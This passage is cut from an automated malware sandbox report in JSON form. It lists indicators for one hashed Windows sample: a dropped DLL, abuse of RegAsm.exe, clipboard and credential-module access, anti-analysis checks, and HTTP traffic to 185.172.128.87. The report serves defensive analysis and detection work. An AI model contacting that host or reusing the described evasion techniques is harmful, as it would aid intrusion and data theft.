Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\" was detected as \".NET\" and name: \"Library\"\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\" was detected as \"Borland Delphi\" and name: \"Compiler\"\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\" was detected as \"VB.NET\" and name: \"Compiler\"\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"Protect544cd51a.dll\" was detected as \".NET\" and name: \"Library\"\n \"Protect544cd51a.dll\" was detected as \"Borland Delphi\" and name: \"Compiler\"\n \"Protect544cd51a.dll\" was detected as \"VB.NET\" and name: \"Compiler\"\n \"Protect544cd51a.dll\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" touched \"NDP SymBinder\" (Path: \"HKCU\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\INPROCSERVER32\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" [Source: 00000000-00005956-00000C46-17195635315]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"RegAsm.exe\" (UID: 00000000-00004108) was launched with new environment variables: \"USERDNSDOMAIN=\"%OSUSER%-PC\"\"\n Process \"RegAsm.exe\" (UID: 00000000-00004108) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00005956.00000001.81246.00320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"RegAsm.exe\" (UID: 00000000-00004108)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"RegAsm.exe\" (UID: 00000000-00004108)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US\" (SHA1: 8F:5C:0C:8E:41:4A:F8:9D:BF:F2:72:12:5E:28:D4:17:EE:5F:F5:59; see report for more information)\n The input sample is signed with a certificate issued by \"CN=DigiCert Global G3 Code Signing ECC SHA384 2021 CA1, O=\"DigiCert\n Inc.\", C=US\" (SHA1: 1D:C9:E3:CC:71:89:8F:07:B7:BF:27:B2:4B:9B:2D:4D:10:7D:73:A3; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Protect544cd51a.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Protect544cd51a.dll\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"CreateServiceUri\" (Indicator: \"CreateService\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.051D0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"Protect544cd51a.dll\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\Protect544cd51a.dll]- [targetUID: 00000000-00005956]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$37","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"Protect544cd51a.dll\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\Protect544cd51a.dll]- [targetUID: 00000000-00005956]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"RegAsm.exe\" queries basic process information of the \"C:\\Windows\\System32\\cryptsp.dll\" (UID: 4108)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$38","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$39","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3a","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\protect544cd51a.dll\"\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" writes file \"%temp%\\protect544cd51a.dll\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00004108-00000C2C-283044598\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004108-00000C2C-283042919\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004108-00000C2C-283346401\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004108-00000C2C-283346521\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"Found string \"amEsMTp3j2pI1XU6hN5\" (Indicator: \"smtp\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"GetRequestStream\" (Indicator: \"GetRequestStream\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00004108-00000C2C-283042919\")\n Found reference to API \"AUTHUI.DLL: Shutdown Choices Message Window\" (Indicator: \" shutdown \"; Source: \"00000000-00005956.00000000.80976.01000000.00000002.mdmp\")\n Found reference to API \"- Average Send Time (ms)=[{0}] Minimum Send Time (ms)=[{1}] Maximum Send Time (ms)=[{2}]\" (Indicator: \" send \"; Source: \"00000000-00005956.00000000.80976.030E0000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00005956.00000001.81246.00320000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00005956.00000001.81246.00320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 185.172.128.87 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://www.essentialobjects.com.\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00005956\"\n YARA signature for AES encryption matched on file \"Protect544cd51a.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Compress data using CryptoPP library","description":"YARA signature for compress data function process \"00000000-00005956\"\n YARA signature for compress data function file \"Protect544cd51a.dll\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":1,"id":"yara-179","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Cryptographic algorithm using CryptoPP library","description":"YARA signature for Cryptographic function process \"00000000-00005956\"\n YARA signature for Cryptographic function file \"Protect544cd51a.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-178","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on process \"00000000-00005956\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in process \"00000000-00005956\"\n YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE8A40ADF108F0441889C19D20EB40]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005956.00000001.81246.00320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access code repositories","description":"Found string \"c:\\MyProjects\\gitlab\\ILProtector\\ILProtector\\Output2010\\Win32\\Release\\Protect32.pdb\" (Indicator: \"gitlab\\\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found string \"c:\\MyProjects\\gitlab\\ILProtector\\ILProtector\\Output2010\\x64\\Release\\Protect64.pdb\" (Indicator: \"gitlab\\\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213.003","relevance":1,"id":"string-774","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005956.00000001.81246.00320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExA\" in file \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\"\n Found registry query API: \"RegOpenKeyA\" in file \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\"\n Found registry query API: \"RegQueryValueExA\" in \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyA\" in \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 733A0000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"RegAsm.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")\n Found reference to API \"GetOpenClipboardWindow\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.051D0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 